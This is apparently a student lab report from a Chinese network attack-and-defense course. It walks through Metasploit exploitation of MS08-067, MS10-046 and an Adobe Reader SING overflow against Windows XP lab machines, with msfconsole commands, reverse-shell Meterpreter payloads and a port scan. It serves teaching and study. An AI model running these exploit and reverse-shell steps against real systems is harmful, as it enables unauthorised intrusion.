2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用
2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用
一、攻击实例
主动攻击的实践
ms08_067
(成功)
payload/generic/shell_reverse_tcp(成功)
攻击浏览器的实践
ms11_050
(失败)ms11_046
(成功)
exploit/windows/browser/ms10_046_shortcut_icon_dllloader
(成功且唯一)
exploit/windows/smb/ms10_046_shortcut_icon_dllloader
(成功)
攻击客户端的实践
Adobe
(成功)
成功应用任何一个辅助模块
- 应用
use auxiliary/scanner/portscan/ACK
(成功且唯一)
- 应用
二、知识点总结
- 1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
- 2.MSF的六种模块
- 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
主动渗透攻击:攻击某个系统服务
被动渗透攻击:攻击某个客户端应用 - 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
网络服务的扫描与查点
探查敏感信息泄露、Fuzz测试发掘漏洞
收集登录密码 - 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块Nop Modules
一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
由于系统无法精确计算shellcode的起始地址,所以加入nops以增加攻击成功的概率 - 编码模块Encoders
改变payload形状,使得不出现特定字符
确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符” - 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
- 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
- 查看六种模块源码目录/usr/share/metasploit-framework/modules
- 3.MSF的三种用户操作界面
- msfconsole
查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
查看设置信息show [options]
查看攻击目标类型show [target]
查找命令search
查找2016年产生的在windows平台下的漏洞search ms16 type:exploit platform:windows
- armitage
启动服务器service postgresql start
启动armitagearmitage
- webgui
- msfconsole
三、攻击实例
Exp5-1 实现ms08_067
靶机:windows XP SP3 中文版
payload : generic/shell_reverse_tcp
实验步骤
输入
msfconsole
打开metasploit控制台查看一下ms08_067这个漏洞在哪里
search ms08-067
选择漏洞
use exploit/windows/smb/ms08_067_netapi
选择通过反向连接来获取shell的
generic/shell_reverse_tcp
当payload,使用指令set payload generic/shell_reverse_tcp
对payload进行设置show targets
查看这个漏洞波及的系统版本,我们也可以通过修改target的值,来选择我们具体想要攻击的计算机系统(通常可以采用自动选取,即target设置为0)查看设置信息
show options
设置主机ip
192.168.1.241
和端口号 5336
设置靶机ip
set RHOSTS 192.168.1.140
接着使用
exploit
指令攻击成功
任务二:一个针对浏览器的攻击
实现ms11_050(失败)
- 关于漏洞的原理
- 原理:IE浏览器MSHTML模块在处理无效标签时存在use-after-free漏洞
- 影响范围:IE Exploer 7 以及 IE Exploer 8
search ms11_050 搜索漏洞
use windows/browser/ms10_046_shortcut_icon_dllloader 使用漏洞
show payloads 显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp 选择攻击载荷
options 查看配置信息
set LHOST [ip] 设置监听地址
set 设置监听端口
set 设置攻击Ip
exploit 开始攻击,并在靶机打开msf给的http网址
sessions -i num 查看开启的会话
实验步骤
search ms11_050
搜索漏洞use windows/browser/ms10_046_shortcut_icon_dllloader
使用漏洞show payloads
显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp
选择攻击载荷
对ip地址,端口号进行设置,然后进行攻击但失败了。
原因探索:
根据同学之间的交流,大家一致认为虚拟机windows XP sp3 中文版,会出现攻击失败的情况,重新更换靶机用windows XP SP3 英文版即可成功。
实现ms10_046(成功且唯一)
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
exploit/windows/browser/ms10_046_shortcut_icon_dllloader
实验步骤
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 192.168.1.241 #设置监听地址
exploit #进行攻击
输入
msfconsole
进入控制台,并使用刚才找到的exploituse windows/browser/ms10_046_shortcut_icon_dllloader
配置地址和端口号等信息
用exploit 进行攻击,windows XP打开相应地址然而出现了问题,失败了,查看session并没有连接。从而进行解决问题的思考ing。。。
尝试靶机用windows 7 结果一样失败了
原因探索:
探索原因后发现,windows XP靶机的IE浏览器的版本有问题,导致程序无法调用dll文件执行相应操作,实现攻击,所以得手动运行程序(有点low),才能实现攻击成功。
实现ms10_046(2)(成功)
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
exploit/windows/smb/ms10_046_shortcut_icon_dllloader
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 192.168.1.241 #设置监听地址
exploit #进行攻击
实验步骤
- 根据实现ms10_046(1)步骤可成功完成攻击。
- 最终攻击成功
任务三:一个针对客户端的攻击
实现Adobe
- 漏洞原理
- 这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出
- 本次攻击对象:windows xp sp3 Adobe 9.3.2
实验步骤
search adobe #进行查找
use windows/fileformat/adobe_cooltype_sing #使用漏洞
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 192.168.1.241 #攻击者地址
set FILENAME 20165336.pdf #设置生成pdf文件的文件名
exploit #攻击
选择攻击模块,将其载入。
使用命令show payloads选择要使用的payload(这里使用了windows/meterpreter/reverse_http
对地址等参数进行配置
使用命令show options查看相关参数设置要求
设置好相应参数后,开始实施攻击,发现在/root/.msf4/local/目录下成功生成了一个20165336.pdf文件然后将该文件传送到靶机上(通过共享文件夹)并且在攻击机上打开监听
将靶机中的pdf文件打开,攻击机成功获取到靶机shell:
任务四:应用辅助模块
辅助模块:运用TCP中的ACK响应包检查端口的开放状态以及是否被屏蔽
在auxiliary中进行查找
search auxiliary
auxiliary中
use auxiliary/scanner/portscan/ack
并配置相应的主机地址和需要扫描的端口(这里我选择默认)exploit开始进行攻击
auxiliary模块执行完毕(为了截图提前中止了)
四、实验总结
1.实验总结与体会
这次实验我更加对msf有了极大的兴趣,再用exploit和payload时,让我了解到了许多的漏洞和有效的攻击手段,从而感觉到了工具的强大,在利用好工具与自己掌握很扎实的基础知识下,攻击便会得心应手,个人感觉nmap和auxiliary的作用有相似之处。总之在经过这次实验后,我对msf的理解又更深了一步,我相信在兴趣的推动下我会不断提高。
2.离实战还缺些什么技术
对于msf我认为还是个小白,距离实战还有很远的路,在熟练基础知识的前提下,还要熟悉所使用的工具,还需要不断地提高自己对渗透攻击的理解思维,这样才能在实战中从容应对。
3.用自己的话解释什么是exploit,payload,encode
exploit
我认为是攻击者开始向靶机进行攻击。
payload
我认为是攻击者进行攻击所能提供用到的“武器”。
encode编码
我认为是使shellcode改变,从而躲避检测。
2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用的更多相关文章
- 2018-2019-2 20165206 网络攻防技术 Exp5 MSF基础应用
- 2018-2019-2 20165206<网络攻防技术>Exp5 MSF基础应用 - 实验任务 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如 ...
- 20155226《网络攻防》 Exp5 MSF基础应用
20155226<网络攻防> Exp5 MSF基础应用 基础问题回答 1.用自己的话解释什么是exploit,payload,encode? exploit : Exploit的英文意思就 ...
- 20155318 《网络攻防》Exp5 MSF基础应用
20155318 <网络攻防>Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码传 ...
- 20145236《网络攻防》Exp5 MSF基础应用
20145236<网络攻防>Exp5 MSF基础应用 一.基础问题回答 解释exploit,payload,encode是什么: exploit就是负责负载有用代码的交通工具,先通过exp ...
- 20155301 《网络攻防》 Exp5 MSF基础应用
20155301 <网络攻防> Exp5 MSF基础应用 基础问题 1.用自己的话解释什么是exploit,payload,encode 答:exploit就是利用一些工具的,用来收集目标 ...
- 20155321 《网络攻防》 Exp5 MSF基础应用
20155321 <网络攻防> Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode 关于exploit,我觉得exploit是利用一些工具 ...
- 20155338 《网络攻防》Exp5 MSF基础应用
20155338 <网络攻防>Exp5 MSF基础应用 基础问题回答 1. 用自己的话解释什么是exploit,payload,encode? exploit将真正要负责攻击的代码传送到靶 ...
- 2015306 白皎 《网络攻防》Exp5 MSF基础应用
2015306 白皎 <网络攻防>Exp5 MSF基础应用 一.基础问题 用自己的话解释什么是exploit,payload,encode. exploit指由攻击者或渗透测试者利用一个系 ...
- 20155334 《网络攻防》Exp5 MSF基础应用
一.基础问题回答 解释exploit,payload,encode是什么: 项目 作用 exploit 是负载有用代码的交通工具,让代码到达目的地,并作用 payload 是有具体功能的代码,能够完成 ...
- 20155211 网络攻防技术 Exp08 Web基础
20155211 网络攻防技术 Exp08 Web基础 实践内容 Web前端HTML,能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. We ...
随机推荐
- 阿里云ECS试用配置
1.首先从阿里云找到ECS购买入口(目前在弹性入口的弹出框中).进入ECS购买界面后,选择免费试用. 此处省略试用申请过程. 2.然后再到云市场中购买一个免费的镜像服务.此处为Centos 64位系统 ...
- vue-风格指南
https://cn.vuejs.org/v2/style-guide/
- ubuntu 16.04系统下解决MySQL 5.7版本的root用户重置密码问题
最近在ubuntu系统上安装了MySQL,但是安装时没有提示输入root用户密码,在网上找了一天解决方案,试图修改root用户下的登入密码,但是网上的帖子都不凑效,最后终于改成功了,因此记下来以供有同 ...
- table行颜色设置
function renderingTable(obj){ $(obj).each(function(){ //设置奇数行颜色 $(this).find(" ...
- Eclipse连接HBase 报错:org.apache.hadoop.hbase.PleaseHoldException: Master is initializing
在eclipse中连接到HBase报错org.apache.hadoop.hbase.PleaseHoldException: Master is initializing,搜索了好久,网上其它人说的 ...
- 将Emacs Org任务树导出至Freeplane思维导图
Emacs Org mode作为实施GTD方法的任务与项目管理工具是极为强大和有效的.尽管如此,我在使用过程中亦发现了一个因Emacs文本操作模式而难以解决的情况,即对于具有复杂结构与大量细节的项目, ...
- 酷痞运行于openwrt路由系统
欢迎你进入酷痞的物联网世界.这里有着自由的空气和自然的气息.接下来我将告诉你如果一步步建立一个自己专属的物联网平台. 酷痞官网地址:http://icoolpy.com 由于openwrt系统复杂 ...
- 20175312 2018-2019-2 《Java程序设计》结对编程练习_四则运算(第一周:阶段性总结)
20175312 2018-2019-2 <Java程序设计>结对编程练习_四则运算(第一周:阶段性总结) 结对对象与其博客链接 20175309 刘雨恒:https://www.cnbl ...
- Linux下Apache配置HTTPS功能
Apache配置HTTPS功能 转 https://www.cnblogs.com/liaojiafa/p/6028816.html 一.yum 安装openssl和openssl-devel,ht ...
- [R] R语言for循环机制
在做数据分段截取的时候,发现for循环的表现和其他语言不太一样. 上代码: :) { i = i + print(i) } 结果: [] [] [] [] 即作为循环计次的i, 并不会因为在循环体中的 ...